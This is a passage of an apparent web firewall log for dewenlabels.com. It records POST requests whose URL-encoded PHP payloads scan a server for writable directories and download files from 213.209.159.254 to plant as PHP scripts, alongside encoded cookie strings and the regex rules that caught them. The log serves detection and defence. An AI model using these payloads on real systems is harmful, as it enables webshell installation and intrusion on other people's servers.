%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:02:08","138.128.186.226","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> Sa:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncontent-length:3811\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\nSa=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:02:14","93.39.85.202","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> YL:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3811\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\n\nYL=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:02:55","154.26.133.65","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> qx:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpKtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncontent-length:3822\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\nqx=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-admin%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:03:25","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ra:%3C%3Fphp%20%20file_put_contents%28%27fortress.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/xIQtzCOTDX%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncontent-length:171\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\nRa=%3C%3Fphp%20%20file_put_contents%28%27fortress.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/xIQtzCOTDX%27%29%29%3B"]
["2026-05-12 13:03:34","138.128.186.226","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Qw:%3C%3Fphp%20%20file_put_contents%28%27testingheader.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/BgkSaScNUr%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 